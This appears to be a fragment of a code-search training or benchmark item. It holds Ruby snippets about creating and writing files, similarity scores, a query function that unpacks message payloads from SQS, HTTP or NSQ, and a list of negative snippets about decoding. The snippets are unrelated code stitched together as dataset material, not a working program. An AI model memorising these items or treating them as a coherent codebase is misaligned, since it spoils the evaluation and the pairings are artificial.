"def create(p)\n puts \"Creating page #{p}\"\n Dir.mkdir p unless File.exists? p\n Content.new(\"#{@dir}\", @extension).page p\n end",
"def create_file (file_path)\n \"touch '#{file_path}'\"\n end",
"def create_file(filepath, contents = '')\n filepath = \"#{@dir}/#{@module}/#{filepath}\"\n puts \"... Creating file '#{filepath}'\"\n File.open(filepath, 'w') do |f|\n f.write contents\n end\n end",
"def create\n\t\t\tsuper\n\t\t\tprintComments\n\t\tend",
"def create; end",
"def create; end",
"def create; end",
"def create; end",
"def write(site, modal_id)\n data = \"---\"\n data << \"\\n\"\n data << \"layout: default\"\n data << \"\\n\"\n data << \"modal-id: \" + modal_id.to_s\n data << \"\\n\"\n data << \"date: \" + Date.today.strftime(\"%Y\") + \"-\" + Date.today.strftime(\"%m\") + \"-\" + Date.today.strftime(\"%d\")\n data << \"\\n\"\n data << \"qname: \" + @postName.gsub(\"{\",\"=\").gsub(\"}\",\"§\").to_s\n data << \"\\n\"\n data << \"img: \" + @postPictureLarge\n data << \"\\n\"\n data << \"img-prefix: \" + @imgUrlPrefix.to_s\n data << \"\\n\"\n data << \"img-suffix: \" + @imgUrlSuffix.to_s\n data << \"\\n\"\n data << \"alt: image-alt\"\n data << \"\\n\"\n data << \"project-date: \" + Date.today.strftime(\"%B\") + \" \" + Date.today.strftime(\"%Y\")\n data << \"\\n\"\n data << \"client: \" + CGI.escape(@readableName.to_s)\n data << \"\\n\"\n data << \"category: \" + @postType.to_s\n data << \"\\n\"\n data << \"description: Generated\"\n data << \"\\n\"\n data << \"csar: \" + @postCSAR\n data << \"\\n\"\n data << \"---\"\n\t\n puts \"Writing following post data:\"\n puts data\n\n # create post file\n postFileName = Date.today.strftime(\"%Y\") + \"-\" + Date.today.strftime(\"%m\") + \"-\" + Date.today.strftime(\"%d\") + \"-\" + @postType.to_s + \"-\" + CGI.escape(@postName.to_s) + \".markdown\"\n postFilePath = site.in_source_dir(\"_posts/\" + postFileName)\n postFile = File.open(postFilePath, \"w\")\n postFile.write(data)\n\n end",
"def to_file\n \"#{@name};#{@id}\"\n end",
"def create\n tmpl = ERB.new(load_erb_file('metadata.erb'))\n @cookbook = @opts[:cookbook]\n @maintainer = @opts[:souschef][:maintainer]\n @maintainer_email = @opts[:souschef][:maintainer_email]\n @license = @opts[:souschef][:license]\n data = tmpl.result(binding)\n\n info 'Updating metadata.rb'\n write_file(cookbook_file_path('metadata.rb'), data)\n end",
"def test_file_should_be_created_with_record\n template = PageTemplate.new :name => 'tester'\n File.expects(:open).with(template.send(:layout_filename), 'wb+')\n template.save\n end",
"def create_file_with_blog_metadata(title)\n filename = generate_filename(title)\n filepath = \"_posts/#{filename}\"\n\n raise 'The file already exists.' if File.exists?(filepath)\n\n blog_metadata = generate_metadata_for(title)\n File.write(filepath, blog_metadata)\n\n filepath\nend",
"def init\n File.open(ORENONO_FILE, 'w') { |f|f.puts ORENONO_TEMPLATE }\n end",
"def create\n \t\n end",
"def create_rep(item, path)\n rep = Nanoc::Int::ItemRep.new(item.unwrap, :default)\n rep.paths[:last] = path\n @reps << rep\n Nanoc::ItemRepView.new(rep, view_context)\n end",
"def create_iptables_conf_file(file)\n template \"#{file}\" do\n path \"#{file}\"\n source \"iptables.erb\"\n owner \"root\"\n group \"root\"\n mode 00600\n end\nend",
"def create_document(file, file_type, object, comment, file_name=nil)\n if object.invoice_no.include?('/')\n file_obj=object.invoice_no.gsub('/','')\n else\n file_obj=object.invoice_no\n end\n filename = (file_name ? \"#{file_name}.#{file_type}\" : nil ) || \"InvoiceNo_#{file_obj}_#{Time.zone.now.to_i}_New.#{file_type}\"\n\n newfile=File.open(\"#{filename}\", \"w\") {|f| f.write(file) }\n\n root_file=File.open(\"#{RAILS_ROOT}/#{filename}\",'r')\n document={:name => \"Test\" ,:data=> root_file}\n document_home = {:document_attributes => document}\n document_home.merge!(:access_rights => 2, :created_by_user_id=>object.created_by_user_id,:company_id=>object.company_id,\n :mapable_id=>comment.id,:mapable_type=>'Comment', :owner_user_id=>object.owner_user_id)\n newdocument_home = comment.document_homes.new(document_home)\n newdocument = newdocument_home.documents.build(document.merge(:company_id=>object.company_id, :created_by_user_id=>object.created_by_user_id))\n newdocument_home.save\n if newdocument_home.save\n root_file.close\n File.delete(\"#{RAILS_ROOT}/#{filename}\")\n end\n end",
"def create_file\n\n conditionCode = 0\n\n # Verify if we have a metadata\n if haspdumetadata? && haspdueof?\n\n # Write file\n writeLog(\"Checking to write file \\\"#{@pdus[\"METADATA\"].pduPayload.destinationFileName}\\\".\")\n CFDP::CFDP_Indication(\"Checking to write file \\\"#{@pdus[\"METADATA\"].pduPayload.destinationFileName}\\\".\")\n\n begin\n\n Utils_visiona.writeFile(@pdus[\"METADATA\"].pduPayload.destinationFileName, @pdus[\"FILEDATA\"].dup)\n\n if File.size(@pdus[\"METADATA\"].pduPayload.destinationFileName) != @pdus[\"EOF\"].pduPayload.fileSize\n\n conditionCode = 6\n File.delete(@pdus[\"METADATA\"].pduPayload.destinationFileName) unless SAVE_FILE_UPON_ERROR\n elsif Utils_visiona.calculateFileChecksum(@pdus[\"METADATA\"].pduPayload.destinationFileName) != @pdus[\"EOF\"].pduPayload.fileChecksum\n\n conditionCode = 5\n File.delete(@pdus[\"METADATA\"].pduPayload.destinationFileName) unless SAVE_FILE_UPON_ERROR\n end\n rescue Exception => err\n\n conditionCode = 4\n CFDP::CFDP_Indication(\"Error while creating file. Error is #{err}.\\n Backtrace: #{err.backtrace}\")\n end\n\n if (conditionCode==0)\n\n CFDP::HKPacket.instance.eng_totalfilesrcvd+=1\n writeLog(\"Done writing file \\\"#{@pdus[\"METADATA\"].pduPayload.destinationFileName}\\\".\")\n CFDP::CFDP_Indication(\"Done writing file \\\"#{@pdus[\"METADATA\"].pduPayload.destinationFileName}\\\".\")\n elsif SAVE_FILE_UPON_ERROR\n\n CFDP::HKPacket.instance.eng_totalfilesrcvd+=1\n writeLog(\"Done writing file with error #{CFDP.conditionCodeToStr(conditionCode)} \\\"#{@pdus[\"METADATA\"].pduPayload.destinationFileName}\\\".\")\n CFDP::CFDP_Indication(\"Done writing file with error #{CFDP.conditionCodeToStr(conditionCode)} \\\"#{@pdus[\"METADATA\"].pduPayload.destinationFileName}\\\".\")\n else\n\n CFDP::HKPacket.instance.updateVar(conditionCode)\n writeLog(\"Error #{CFDP.conditionCodeToStr(conditionCode)} in writing file \\\"#{@pdus[\"METADATA\"].pduPayload.destinationFileName}\\\".\")\n CFDP::CFDP_Indication(\"Error #{CFDP.conditionCodeToStr(conditionCode)} in writing file \\\"#{@pdus[\"METADATA\"].pduPayload.destinationFileName}\\\".\")\n end\n\n return conditionCode\n end\n end",
"def create_locally\n write_file(@video_file, @video_name)\n write_file(@poster_file, @poster_name)\n end",
"def create_notes\n end",
"def create\n @property = Property.new(property_params)\n\n @property.posting_local = cookies[:language]\n @property.user_id = current_user.id\n data = render_to_string( :action => :rental_agreement, layout: nil )\n contract_file = File.open(\"public/#{@property.title}.docx\", \"w\"){|f| f << data }\n\n \n @property.agreement= File.new(\"public/#{@property.title}.docx\")\n\n if @property.save\n redirect_to fileupload_property_url(@property)\n else\n render action: :new\n end\n end",
"def create_new_rep\n @rep = []\n end",
"def create_paragraph(content)\n text = Text.new(content)\n run = Run.new\n run << text\n paragraph = Paragraph.new\n paragraph << run\n paragraph\nend",
"def create\n\t type = @params[0].split('.')\n\n\t if type[1]\n\n\t if @params[1]\n\t FileUtils.touch(@params[1]+'/'+@params[0])\n\t else\n\t FileUtils.touch(@params[0])\n\t end\n\t else\n\t if @params[1]\n\t FileUtils::mkdir_p @params[1]+'/'+@params[0]\n\t else\n\t FileUtils::mkdir_p @params[0]\n\t end\n\t end\n\t end",
"def write_new_draft()\n filename = get_unique_filename\n full_path = File.join(@post_dir, filename)\n File.open(full_path, 'w') do |f|\n f.puts \"---\"\n f.puts \"title: \\\"#{@title}\\\"\"\n f.puts \"layout: default\"\n f.puts @yaml_cat if @yaml_cat != nil\n f.puts \"date: #{@date}\"\n f.puts \"---\"\n f.puts \"\"\n f.puts \"\\# #{@title}\" # Make the heading and title the same as a default\n f.puts @content if @content != nil\n end \n puts \"Post created under \\\"#{full_path}\\\"\"\n full_path\n end",
"def createFile(file,time)\n\t\tFile.open(file, \"w+\") do |f|\n\t\t\tf.print time\n\t\tend\n\tend",
"def create\n @pgn_file = PgnFile.new(params[:pgn_file])\n\n respond_to do |format|\n if @pgn_file.save\n format.html { redirect_to @pgn_file, notice: 'Pgn file was successfully created.' }\n format.json { render json: @pgn_file, status: :created, location: @pgn_file }\n else\n format.html { render action: \"new\" }\n format.json { render json: @pgn_file.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_file(uid, info = {})\n content_type = Tus::Info.new(info).metadata[\"content_type\"]\n\n create_grid_file(\n filename: uid,\n content_type: content_type,\n )\n end",
"def new_file\n raise \"Not a Valid Directory\" unless valid_directory?\n\n file_name = \"#{Time.now.strftime(\"%Y%m%d%H%M%S\")}_#{process}.txt\"\n \"#{output_directory_path}#{file_name}\"\n end",
"def open_new_file_to_write(input, number, region)\n\toutfile = File.new(\"#{region}-per#{number}bp-#{input}.txt\", \"w\")\n\toutfile.puts \"position\\tnumhm\\tnumht\"\n\toutfile\nend",
"def create_rdp_doc(opts = {})\n content = Util.outdent!(<<-RDP)\n full address:s:#{URI.parse(options[:endpoint]).host}:#{rdp_port}\n prompt for credentials:i:1\n username:s:#{options[:user]}\n RDP\n content.prepend(\"drivestoredirect:s:*\\n\") if opts[:mac]\n\n File.open(rdp_doc_path, \"wb\") { |f| f.write(content) }\n\n if logger.debug?\n debug(\"Creating RDP document for #{instance_name} (#{rdp_doc_path})\")\n debug(\"------------\")\n IO.read(rdp_doc_path).each_line { |l| debug(l.chomp.to_s) }\n debug(\"------------\")\n end\n end",
"def get_attach_file_name staff_id_hash, serial_number, base_url\n\n f = File.open(\"#{Rails.root}/lib/tasks/doc_template/template.doc\")\n doc = ''\n\n f.each do |line|\n doc += line\n end\n f.close\n\n # insert staff_id serial number into doc file\n new_doc = doc.gsub(/%URL%/, base_url.gsub(/%TYPE%/, SendMember::TYPE_FILE_OPEN))\n file_name = \"#{Rails.root}/lib/tasks/doc_template/send/#{Staff.decrypt(staff_id_hash)}_#{serial_number}.doc\"\n f = File.open(file_name, 'w')\n f.write new_doc\n f.close\n\n file_name\n end",
"def quick_make_file(local_file, tpl_file)\n current_file = local_file(local_file)\n template_file = @template.real_path(tpl_file)\n @template.make_file(\n template_file,\n current_file,\n @args.all.dup,\n make_data_files_array(current_file),\n method(:update_latest_options)\n )\n end",
"def ppm(dataType, ppmType, varName, varAlias)\r\n dt = dataType.ljust(12)\r\n pt = ppmType.ljust(12)\r\n vn = varName.ljust(48)\r\n va = varAlias\r\n out = <<EOF\r\nppm #{dt}#{pt}#{vn}\"#{va}\";\r\nEOF\r\n\r\n out # Return generated output\r\n end",
"def create(dest_file, filenames = [], options = {})\n\t\t\tWriter.new(filenames).write(dest_file, options)\n\t\tend",
"def create\n \n end",
"def write_nutrient_definition_table()\n puts <<SQL\ndrop table if exists NUTRIENT_DEFINITION;\ncreate table NUTRIENT_DEFINITION(\n id char(3) not null,\n units varchar(7) not null,\n tagname varchar(20) default null,\n description varchar(60) default null,\n decimal_places char(1) default null,\n sort_order int default null,\n primary key (id)\n);\nSQL\n\n read_data('NUTR_DEF.txt') do |fields|\n puts make_insert_statement('NUTRIENT_DEFINITION', fields,\n 'id', 'units', 'tagname', 'description',\n 'decimal_places', 'sort_order')\n end\nend",
"def create(project_name, repo_name, description) ; end",
"def create\n Puppet.debug( \"#{self.resource.type}: CREATE #{resource[:name]}\" ) \n end",
"def create_into(directory)\n build_file\n Pathname.new(directory).join(@file).open 'w+' do |file|\n post = self\n file << ERB.new(load_template).result(binding)\n end\n end",
"def create(filename)\n input = self.read('templates/codeml.ctl.erb')\n\n # Using ERB templates\n output = ERB.new(input).result(binding)\n\n # Create a blank file then put the contents of the output in\n self.create_file(\"#{filename}\", output)\n end",
"def create_new_period(period)\n JSON.generate(period)\n File.open(\"./files/periods/#{period[:name]}.json\", \"w\") do |f|\n f.write(period.to_json)\n end\nend",
"def create_dummy_receipt(receipt)\n File.new(\"/Library/Application\\ Support/JAMF/Receipts/#{receipt}\", \"w\") {}\n end",
"def create_modified_psd(request)\n http_request = request.to_http_info(@api_client.config)\n make_request(http_request, :POST, 'File')\n end",
"def open_new_file_to_write(input, number)\n\toutfile = File.new(\"per-#{number}bp-#{input}.txt\", \"w\")\n\toutfile.puts \"position\\tnumhm\\tnumht\"\n\toutfile\nend",
"def outputFileCreationInfo(file)\n # Add the build information and header to the output file\n ccdd.writeToFileLn(file, \"# Created : \" + ccdd.getDateAndTime() + \"\\n# User : \" + ccdd.getUser() + \"\\n# Project : \" + ccdd.getProject() + \"\\n# Script : \" + ccdd.getScriptName())\n\n # Check if any table is associated with the script\n if ccdd.getTableNumRows() != 0\n ccdd.writeToFileLn(file, \" Table(s): \" + ccdd.getTableNames().sort.to_a.join(\",\\n \"))\n end\n \n # Check if any groups is associated with the script\n if ccdd.getAssociatedGroupNames().length != 0\n ccdd.writeToFileLn(file, \" Group(s): \" + ccdd.getAssociatedGroupNames().sort.to_a.join(\",\\n \"))\n end\n \n ccdd.writeToFileLn(file, \"\")\nend",
"def create_new_post(params = {})\n titile = params.delete(:tile)\n title ||= 'new-post'\n date = params.delete(:date)\n comments = params.delete(:comments)\n categories = params.delete(:categories)\n\n puts \"Begin a new post in #{source_dir}/#{posts_dir}\"\n raise \"### You haven't set anything up yet. First run `rake install` to set up an Octopress theme.\" unless File.directory?(source_dir)\n puts \"set posts_dir\"\n `mkdir -p \"#{source_dir}/#{posts_dir}\"`\n\n filename = \"#{source_dir}/#{posts_dir}/#{date.strftime('%Y-%m-%d')}-#{title.to_url}.#{new_post_ext}\"\n if File.exist?(filename)\n abort(\"rake aborted!\") if ask(\"#{filename} already exists. Do you want to overwrite?\", ['y', 'n']) == 'n'\n end\n puts \"Creating new post: #{filename}\"\n open(filename, 'w') do |post|\n post.puts \"---\"\n post.puts \"layout: post\"\n post.puts \"title: \\\"#{title.gsub(/&/,'&')}\\\"\"\n post.puts \"date: #{date.strftime('%Y-%m-%d %H:%M')}\"\n post.puts \"comments: #{comments}\"\n post.puts \"categories: #{categories}\"\n post.puts \"---\"\n post.puts \"#{content}\"\n end\nend",
"def prt(outputFile)\n # puts \"\\nFederalist #@fedno\" + \" Title: #@title\" #used for verification before \n puts \"#@fedno Title: #@title\\nPublication: #@pub\\n\\n\" #exporting to HTML doc\n # puts \"Written by: #@auth\"\n outputFile.puts \"<tr><th>#@fedno</th><th>#@auth</th><th>#@title</th><th>#@pub</th></tr>\"\n end",
"def gen_prj\n filename = \"#{@work_dir}/#{@module_name}.prj\"\n printf(\"@I:Generate Prj File(%s)\\n\",filename)\n f = File.open(\"#{filename}\",\"w\")\n tmp = Array.new\n tmp << @file_name\n tmp.uniq!\n tmp.each{|file|\n f.printf(\"verilog work \\\"%s\\\"\\n\",file)\n }\n f.close\n end",
"def create_config!\n template = File.read(TEMPLATES + 'montage.yml')\n template.gsub!(/<sprites>/, @sprites_path.to_s)\n template.gsub!(/<sources>/, @sources_path.to_s)\n\n File.open(@dir + '.montage', 'w') do |config|\n config.puts template\n end\n end",
"def generate(file_name,template,map, overwrite = true)\r\n # make sure the package folder exists\r\n pkg_path = (map['package'] || '').gsub('.','/') \r\n FileUtils.makedirs \"#{target}/#{pkg_path}\"\r\n File.open(\"#{target}/#{pkg_path}/#{file_name}\",'w') do |f|\r\n f << self.process_template(template,map)\r\n log \">> writing #{f.path}\"\r\n end #file\r\n end",
"def create_blank_post(path, title)\n # Create the directories to this path if needed\n FileUtils.mkpath(File.dirname(path))\n\n # Write the template to the file\n File.open(path, \"w\") do |f|\n f << <<-EOS.gsub(/^ /, '')\n ---\n layout: post\n title: #{title}\n published: false\n ---\n\n EOS\n end\nend",
"def create\n merge_data \n to_frontmatter \n end",
"def create\n authorize!(:edit, Heb412Gen::Plantillahcm)\n @plantillahcm = Heb412Gen::Plantillahcm.new(plantillahcm_params)\n if !@plantillahcm.nombremenu && @plantillahcm.ruta\n @plantillahcm.nombremenu = File.basename(@plantillahcm.ruta)\n end\n create_gen(@plantillahcm)\n end"
] |
[
"0.6540798",
"0.6317075",
"0.6131345",
"0.61296797",
"0.61129206",
"0.59904003",
"0.5986589",
"0.5986589",
"0.5982446",
"0.5912002",
"0.58699125",
"0.5845621",
"0.5844821",
"0.5738858",
"0.57095057",
"0.5684894",
"0.5678842",
"0.56709176",
"0.5629446",
"0.5616826",
"0.5615655",
"0.5615655",
"0.5613955",
"0.5589598",
"0.5589323",
"0.5570126",
"0.55593497",
"0.551595",
"0.55139285",
"0.55002534",
"0.54715604",
"0.5471546",
"0.5457734",
"0.5450093",
"0.5432656",
"0.5432656",
"0.5429663",
"0.54259694",
"0.5412292",
"0.5403677",
"0.538864",
"0.5384275",
"0.53788",
"0.53747773",
"0.536828",
"0.5362663",
"0.53599805",
"0.5344748",
"0.53275084",
"0.5325124",
"0.5325124",
"0.5325124",
"0.5325124",
"0.5323001",
"0.5308527",
"0.529897",
"0.5286794",
"0.52867746",
"0.5272646",
"0.5270348",
"0.5269766",
"0.5267084",
"0.5258667",
"0.5253416",
"0.524625",
"0.5228944",
"0.52240735",
"0.52217644",
"0.5218729",
"0.5215038",
"0.52143705",
"0.5206728",
"0.52058935",
"0.5201697",
"0.5200629",
"0.5200513",
"0.5198986",
"0.5192939",
"0.5190286",
"0.5186809",
"0.5183375",
"0.5182006",
"0.5179937",
"0.51794326",
"0.51787984",
"0.5177378",
"0.51730263",
"0.5170671",
"0.51698714",
"0.5168807",
"0.5168497",
"0.51680845",
"0.51568687",
"0.51507545",
"0.5148044",
"0.51452166",
"0.5136754",
"0.5133645",
"0.5133456",
"0.5128825"
] |
0.6147178
|
2
|
Unpack payload from message
|
def unpack(message)
result = if(message[:content])
message[:content]
else
if(message[:message])
case determine_style(message)
when :sqs
if(message[:message]['Body'])
message[:message]['Body'].to_smash
else
message[:message].to_smash
end
when :http
begin
MultiJson.load(message[:message][:body]).to_smash
rescue MultiJson::DecodeError
message[:message][:body].to_smash
end
when :nsq
begin
MultiJson.load(message[:message].message).to_smash
rescue MultiJson::DecodeError
message[:message].message.to_smash
end
else
message[:message].to_smash
end
else
message.to_smash
end
end
if(respond_to?(:formatters) && respond_to?(:service_name))
formatters.each do |formatter|
next if result.fetch(:formatters, []).include?(formatter.class.name)
begin
if(service_name.to_sym == formatter.destination)
debug "Service matched formatter for pre-format! (<#{formatter.class}> - #{message})"
s_checksum = result.checksum
formatter.format(result)
unless(s_checksum == result.checksum)
info "Pre-formatter modified payload and will not be applied again after callback completion (<#{formatter.class}> - #{message})"
result[:formatters].push(formatter.class.name)
end
end
rescue => e
error "Formatter failed <#{formatter.source}:#{formatter.destination}> #{e.class}: #{e}"
end
end
end
result
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def unpack(message)\n payload = super\n if(self.class == Jackal::Cfn::Event)\n begin\n unless(payload.get(:data, :cfn_event))\n payload = format_event(payload.fetch('Body', 'Message', payload))\n payload[:origin_type] = message[:message].get('Body', 'Type')\n payload[:origin_subject] = message[:message].get('Body', 'Subject')\n end\n payload\n rescue\n Smash.new\n end\n else\n payload.to_smash.fetch('Body', payload.to_smash)\n end\n end",
"def unpack(message)\n if(message[:content])\n result = message[:content].to_smash\n else\n msg = message[:message].to_smash\n result = msg.fetch(:payload, msg)\n end\n if(respond_to?(:pre_formatters) && (pre_formatters && !pre_formatters.empty?))\n pre_formatters.each do |formatter|\n begin\n formatter.format(result)\n rescue => e\n error \"Formatter error encountered (<#{formatter}>): #{e.class} - #{e}\"\n end\n end\n end\n result\n end",
"def unpack(message)\n payload = super\n if(self.is_a?(Jackal::Cfn::Resource))\n begin\n if(payload['Message'])\n payload = MultiJson.load(payload['Message']).to_smash\n payload = transform_parameters(payload)\n payload[:origin_type] = message[:message].get('Body', 'Type')\n payload[:origin_subject] = message[:message].get('Body', 'Subject')\n payload[:request_type] = snakecase(payload[:request_type])\n payload\n else\n payload.to_smash.fetch('Attributes', 'Body', payload.to_smash.fetch('Body', payload.to_smash))\n end\n rescue MultiJson::ParseError\n # Not our expected format so return empty payload\n Smash.new\n end\n else\n payload.to_smash.fetch('Attributes', 'Body', payload.to_smash.fetch('Body', payload.to_smash))\n end\n end",
"def payload; message[:payload]; end",
"def decodemsg(msg)\n YAML.load(msg.payload)\n end",
"def unpack(data); end",
"def decode_message(message)\n # minimum size is header (4) + type (1)\n return if message.length < 5\n header, type = message.unpack('NC')\n # TODO: handle fragmented responses\n return if header != UNFRAGMENTED_HEADER\n [type, message[5, message.length]]\n end",
"def payload\n @payload ||= JSON.parse(@message.value)\n end",
"def unpack_body(body)\n # fixed-length fields\n self.user_msg_len = body.slice!(0..1)\n self.data_len = body.slice!(0..1)\n self.flags = body.slice!(0)\n \n # variable-length fields\n @user_msg = body.slice!(0..(@user_msg_len - 1)) if (@user_msg_len != 0)\n @data = body.slice!(0..(@data_len - 1)) if (@data_len != 0)\n\n return(nil)\n end",
"def parse_message(payload)\n @parsers.inject(payload) do |memo, parser|\n parser.call(memo)\n end\n end",
"def unpack msg\n msg.unpack \"aa#{TAG_LENGTH}a#{@cipher.iv_len}a*\"\n end",
"def extract_message(data)\n # interpret input data as binary\n data.force_encoding(\"binary\")\n obj = nil\n bin = nil\n if data =~ /^(\\d+):(\\d+)\\{/\n length_length = $1.size + 1 + $2.size\n overall_length, json_length = $1.to_i, $2.to_i\n\n if data.size >= length_length + overall_length\n data.slice!(0..(length_length-1))\n\n json = data.slice!(0..json_length-1)\n # there shouldn't be any non ascii-7-bit characters, transcode just to be sure\n # encode from binary to utf-8 with :undef => :replace turns all non-ascii-7-bit bytes\n # into the replacement character (\\uFFFD)\n json.encode!(\"utf-8\", :undef => :replace)\n obj = json_to_object(json)\n\n # we already forced data to be binary encoded\n bin = data.slice!(0..(overall_length-json_length)-1)\n end\n end\n if obj\n unescape_all_strings(obj)\n type = obj[\"_message\"]\n obj.delete(\"_message\")\n Message.new(type, obj, bin)\n else\n nil\n end\nend",
"def _receive_message state\n state.message_payload = _read(state.in_stream, state)\n end",
"def unpack_body(body)\n # fixed fields\n self.status = body.slice!(0)\n self.flags = body.slice!(0)\n self.server_msg_len = body.slice!(0..1)\n self.data_len = body.slice!(0..1) \n \n # variable-length fields\n self.server_msg = body.slice!(0..(@server_msg_len - 1)) if (@server_msg_len != 0)\n self.data = body.slice!(0..(@data_len - 1)) if (@data_len != 0)\n return(nil)\n end",
"def unpack_body(body)\n # fixed-length fields\n self.server_msg_len = body.slice!(0..1)\n self.data_len = body.slice!(0..1)\n self.status = body.slice!(0)\n \n # variable-length fields\n @server_msg = body.slice!(0..(@server_msg_len - 1)) if (@server_msg_len != 0)\n @data = body.slice!(0..(@data_len - 1)) if (@data_len != 0)\n\n return(nil)\n end",
"def unpack(binary)\n end",
"def decode(message)\n start_time= Time.now\n @message = message\n qio = QIO.new(@message)\n begin\n @length, @message_type = qio.message_header()\n @value = qio.read_item()\n rescue QException => qe\n @exception = qe\n end\n end",
"def decode(payload)\n Oj.load payload\n end",
"def unpack(p0) end",
"def decode_launchitem( msg )\r\n hash = Rufus::Json.decode( msg )\r\n opts = {}\r\n definition = hash.delete('definition')\r\n fields = hash.delete('fields') || {}\r\n variables = hash.delete('variables') || {}\r\n\r\n [ definition, fields, variables ]\r\n end",
"def unpack(encrypted_message)\n encrypted_message.split('~').map { |m| Base64.urlsafe_decode64(m) }\n end",
"def unpack_body(body)\n # fixed fields\n self.action = body.slice!(0)\n self.priv_lvl = body.slice!(0)\n self.authen_type = body.slice!(0)\n self.service = body.slice!(0)\n self.user_len = body.slice!(0)\n self.port_len = body.slice!(0)\n self.rem_addr_len = body.slice!(0)\n self.data_len = body.slice!(0)\n \n # variable fields\n self.user = body.slice!(0..(@user_len - 1)) if (@user_len != 0)\n self.port = body.slice!(0..(@port_len - 1)) if (@port_len != 0)\n self.rem_addr = body.slice!(0..(@rem_addr_len - 1)) if (@rem_addr_len != 0)\n self.data = body.slice!(0..(@data_len - 1)) if (@data_len != 0) \n return(nil)\n end",
"def get_message_payload(options = {})\n message = get_message(options)\n message.payload\n end",
"def load(data)\n code, hash = MessagePack.unpack(data)\n CODE_TO_CLASS[code].new(decode_hash(hash).symbolize_keys)\n rescue MessagePack::UnpackError => e\n _log.warn { \"Failed to decode message\" }\n _log_exception(e)\n Models::Message::Garbled.new\n end",
"def convert_payload_to_message(payload)\n message_array = []\n SSE_FIELDS.each do |field|\n value = if payload[field]\n payload[field]\n elsif field == :id\n SecureRandom.hex\n end\n\n message_array << \"\\n#{field}: #{value}\" if value\n end\n\n message_array << \"\\n\\n\"\n message_array.join(\"\")\n end",
"def decode_message(message)\n if message[0..1].unpack(\"CC\") == [Marshal::MAJOR_VERSION, Marshal::MINOR_VERSION]\n begin\n Marshal.load message\n rescue => ex\n raise InvalidMessageError, \"invalid message: #{ex}\"\n end\n else raise InvalidMessageError, \"couldn't determine message format: #{message}\"\n end\n end",
"def parse_item stream, encoding = nil\n decode read_item(stream)[:payload], encoding\n end",
"def unpack format\n @b.unpack format\n end",
"def payload\n @payload ||= JSON.parse(fields[\"payload\"])\n end",
"def parse message\n\t\t\treturn nil unless message.valid_encoding?\n\t\t\tmessage = message.dup\n\t\t\tprefix = message.slice!(/\\S+/)\n\t\t\treturn nil unless prefix\n\t\t\tid, command = prefix.scan(/(\\d+:)?(\\w+)/).flatten\n\t\t\tid = id.delete(\":\").to_i if id\n\t\t\tid = nil if id == 0\n\t\t\tif message.include?(':')\n\t\t\t\tmessage = Hash[*message.scan(/(\\w+):([^:\\s]+)/).flatten].symbolize_keys if message.include?(':')\n\t\t\t\tmessage.each_key {|k| message[k] = message[k].to_i if message[k].is_numeric?}\n\t\t\telse\n\t\t\t\tmessage.delete!(' ')\n\t\t\tend\n\t\t\treturn [id, command, message]\n\t\tend",
"def unpack_body(body)\n # fixed fields\n self.flags = body.slice!(0)\n self.authen_method = body.slice!(0)\n self.priv_lvl = body.slice!(0)\n self.authen_type = body.slice!(0)\n self.authen_service = body.slice!(0)\n self.user_len = body.slice!(0)\n self.port_len = body.slice!(0)\n self.rem_addr_len = body.slice!(0)\n self.arg_cnt = body.slice!(0)\n \n # variable fields\n @arg_lens = (body.slice!(0..(@arg_cnt - 1))).unpack('C*') if (@arg_cnt != 0)\n @user = body.slice!(0..(@user_len - 1)) if (@user_len != 0)\n @port = body.slice!(0..(@port_len - 1)) if (@port_len != 0)\n @rem_addr = body.slice!(0..(@rem_addr_len - 1)) if (@rem_addr_len != 0)\n \n if (self.arg_cnt != 0)\n @args = []\n @arg_lens.each {|x| @args.push( body.slice!( 0..(x - 1) ) )}\n end\n \n return(nil)\n end",
"def payload\n @payload.fetch('payload')\n end",
"def payload\n @payload[0] if @payload\n end",
"def inbound_payload\n JSON.parse(data)['inbound']['payload']\n end",
"def read_message(s)\n if buffer = s.read(4) and buffer.size == 4\n length = buffer.unpack('N').first\n begin\n str = s.read length\n message = UState::Message.decode str\n rescue => e\n puts \"Message was #{str.inspect}\"\n raise\n end\n \n unless message.ok\n puts \"Failed\"\n raise ServerError, message.error\n end\n \n message\n else\n raise InvalidResponse, \"unexpected EOF\"\n end\n end",
"def read(message_payload)\n debug_me{[ :message_payload ]}\n raise ::SmartMessage::Errors::NotImplemented\n end",
"def read_message bytes, state=nil\n read_message! bytes.dup, state\n end",
"def flat_payload\n self.payload.to_a.flatten\n end",
"def decode_message(bytes)\n raise \"Empty message\" if bytes.empty?\n reserved, schema_id, avro = bytes.unpack('cNa*')\n raise \"Reserved byte #{reserved.inspect} in message header (expected 0)!\\nmessage: #{bytes.inspect}\" unless 0 == reserved\n\n reader = reader_for(schema_id)\n decoder = Avro::IO::BinaryDecoder.new(StringIO.new(avro))\n\n wrap_error \"parsing message with schema #{schema_id}\" do\n [reader.writers_schema, reader.read(decoder)]\n end\n end",
"def decode_workitem( msg )\n ldebug { \"decoding workitem from: #{msg}\" }\n\n # YAML?\n if msg.index('ruby/object:OpenWFE::InFlowWorkItem')\n YAML.load( msg )\n # XML?\n elsif msg =~ /^<.*>$/m\n OpenWFE::Xml.workitem_from_xml( msg )\n # Assume JSON encoded Hash\n else\n hash = OpenWFE::Json.decode(msg)\n OpenWFE.workitem_from_h( hash )\n end\n end",
"def crypt_keeper_payload_parse(payload)\n payload.encode('UTF-8', 'binary',\n invalid: :replace, undef: :replace, replace: '')\n end",
"def parse_payload!(user_data)\n outbound_payload = {}\n user_data.each { |key, val| outbound_payload[key] = parse_value(val) }\n\n outbound_payload\n end",
"def decode(data)\n s = \"#{punpack_string(@ts)}#{punpack_string(@ls)}\"\n type, length, tmp = data.unpack(\"#{s}a*\")\n value, rest = tmp.unpack(\"a#{length}a*\")\n [type, length, value, rest]\n end",
"def decrypted_payload\n EncryptionService.new.decrypt(payload).to_h\n end",
"def read_data_block_payload\n skip(Format::Current::DATA_BLOCK_HEADER_SIZE - 1)\n compressed = read_payload(1).unpack('C').first\n data = read_payload\n if compressed != 0\n # Payload is compressed\n data = Zlib::Inflate.inflate(data)\n end\n data\n end",
"def read_data\n unpacker.read\n end",
